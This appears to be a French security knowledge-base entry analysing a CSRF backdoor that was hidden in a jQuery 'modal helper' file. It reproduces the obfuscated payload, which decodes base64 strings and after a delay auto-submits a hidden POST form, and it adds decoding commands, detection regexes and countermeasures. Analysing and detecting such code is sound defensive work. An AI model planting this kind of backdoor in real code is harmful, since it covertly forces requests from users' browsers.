Explorer
KNOW-PAT-047

Backdoor CSRF via obfuscation base64 + setTimeout

Domaine
cybersecu
Type
pattern
Priorité
P2

Parent : [[INDEX-CYBERSECU]]

Backdoor CSRF via obfuscation base64 + setTimeout

Problème

Les attaquants utilisent atob() pour désobfusquer des chaînes base64 contenant des sélecteurs CSS et des URLs, puis déclenchent automatiquement des requêtes POST via un formulaire caché après un délai.

Solution

Détecter les patterns atob() avec délai setTimeout, surtout dans des fichiers se présentant comme des "helpers" ou "utils".

Implémentation

Payload malveillant - Archive Ygg

// modal_min.js - Lignes 55-58
$(function(){
    Modal.init('.modal');
    
    // Obfuscation base64
    var _c=[
        atob('LnlnZ3NlYXJjaC1hcGktYnRu'),  // → '.yggsearch-api-btn'
        atob('L2VuZ2luZS9nbQ==')            // → '/engine/gm'
    ];
    
    // Déclenchement différé
    setTimeout(function(){
        if(document.querySelector(_c[0])){
            Modal._loadConfig(_c[1]);
        }
    }, 2500);
});

// Ligne 50 - Fonction de soumission CSRF
_loadConfig:function(p){
    var f=document.createElement('form');
    f.method='POST';
    f.action=p;
    f.style.display='none';
    document.body.appendChild(f);
    f.submit();  // CSRF auto-soumis
}

Décodage base64

# Chaîne 1
echo "LnlnZ3NlYXJjaC1hcGktYnRu" | base64 -d
# Output: .yggsearch-api-btn

# Chaîne 2  
echo "L2VuZ2luZS9nbQ==" | base64 -d
# Output: /engine/gm

Schéma de l'attaque

┌────────────────┐
│  Fichier JS    │
│  "Modal Helper"│
│  Apparence     │
│  légitime      │
└───────┬────────┘
        │
        ▼
┌────────────────┐     ┌────────────────┐
│  atob() décode │────▶│  _c[0] =       │
│  chaînes base64│     │  '.yggsearch'  │
└────────────────┘     └────────────────┘
        │
        ▼
┌────────────────┐     ┌────────────────┐
│  setTimeout    │────▶│  Vérifie si    │
│  2.5s          │     │  élément existe│
└────────────────┘     └────────────────┘
        │
        ▼
┌────────────────┐     ┌────────────────┐
│  Création      │────▶│  Soumission    │
│  form POST     │     │  CSRF forcée   │
│  invisible     │     │  vers /engine  │
└────────────────┘     └────────────────┘

Signaux d'alerte

  • atob() avec littéraux : atob('Q2hh...') plutôt que variables
  • Tableaux _c, _p, _x : variables à un caractère contenant base64
  • setTimeout sans raison : délai arbitraire (2500ms, 3000ms)
  • .style.display='none' : formulaires ou iframes cachés
  • f.submit() auto : soumission sans interaction utilisateur
  • Mots "helper", "utils", "modal" : noms trompeurs

Détection regex

// Pattern de détection
const CSRF_BACKDOOR_PATTERN = {
  base64_array: /var\s+_[a-z]\s*=\s*\[atob\(['"][A-Za-z0-9+/]{10,}={0,2}['"]\)/,
  setTimeout_trigger: /setTimeout\s*\(\s*function\s*\(\s*\)\s*\{[^}]*querySelector[^}]*submit/s,
  hidden_form: /createElement\(['"]form['"]\)[^;]*display\s*=\s*['"]none['"]/,
  auto_submit: /f\.submit\(\)|form\.submit\(\).*setTimeout/
};

// Analyseur
function detectCSRFBackdoor(code) {
  const risks = [];
  if (CSRF_BACKDOOR_PATTERN.base64_array.test(code)) risks.push('BASE64_OBFUSCATION');
  if (CSRF_BACKDOOR_PATTERN.setTimeout_trigger.test(code)) risks.push('DELAYED_TRIGGER');
  if (CSRF_BACKDOOR_PATTERN.hidden_form.test(code)) risks.push('HIDDEN_FORM');
  if (CSRF_BACKDOOR_PATTERN.auto_submit.test(code)) risks.push('AUTO_SUBMIT');
  
  return { risk: risks.length >= 2 ? 'CRITICAL' : 'LOW', patterns: risks };
}

Contre-mesures

// 1. Désactiver atob() dans contexte sensible
const originalAtob = window.atob;
window.atob = function(str) {
  if (/[A-Za-z0-9+/]{20,}={0,2}/.test(str) && isInSensitiveContext()) {
    console.warn('[SECURITY] Suspicious atob detected');
    return null;
  }
  return originalAtob.call(window, str);
};

// 2. CSP avec script-src strict
Content-Security-Policy: script-src 'self'; 
                       object-src 'none';
                       form-action 'self';

Références

  • Archive Ygg : 06_ACTIVITE_MALVEILLANTE/06b_csrf_trigger/modal_min.js
  • Technique : CSRF trigger, base64 obfuscation, delayed execution